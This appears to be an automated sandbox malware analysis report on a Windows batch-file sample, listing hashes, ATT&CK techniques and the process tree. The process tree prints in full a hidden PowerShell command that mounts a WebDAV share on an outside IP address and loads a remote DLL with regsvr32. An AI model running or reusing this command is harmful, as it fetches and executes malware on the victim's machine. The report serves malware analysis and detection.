824eeb42a6b8398a42450be1e664eba744965f15dd605b15573e0d76f9d0bbb9

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 10:48

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General

Target

1713820601848113270.bat
Size

15KB
MD5

032167faf9c054201a8daf54525118ef
SHA1

7850a0e46f01a5d6b2808d9476142b535898221e
SHA256

824eeb42a6b8398a42450be1e664eba744965f15dd605b15573e0d76f9d0bbb9
SHA512

867699076a5081f40a87ccfda6de7199ffb5a3efbe3ab7718c8533cc5ca612c125483ade66e97f67439c1086918bcfd57a6ceb76a6f9085659e7a461b7949bc3
SSDEEP

384:GoHm8AR+4N3vyAYAe0nxZWAZ9YzR914NBaPGTa:9HvAR+a3vysnHWA8zRj3PG2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3248	powershell.exe
3248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2980	wordpad.exe
2980	wordpad.exe
2980	wordpad.exe
2980	wordpad.exe
2980	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 2980	1360	cmd.exe	85
PID 1360 wrote to memory of 2980	1360	cmd.exe	85
PID 1360 wrote to memory of 3248	1360	cmd.exe	87
PID 1360 wrote to memory of 3248	1360	cmd.exe	87
PID 3248 wrote to memory of 4704	3248	powershell.exe	89
PID 3248 wrote to memory of 4704	3248	powershell.exe	89
PID 3248 wrote to memory of 2456	3248	powershell.exe	90
PID 3248 wrote to memory of 2456	3248	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1713820601848113270.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\223021747332547.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4704
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\223021747332547.dll
    3⤵
    PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e0yoq2rc.2jq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3248-0-0x0000018039630000-0x0000018039652000-memory.dmp

Filesize
136KB

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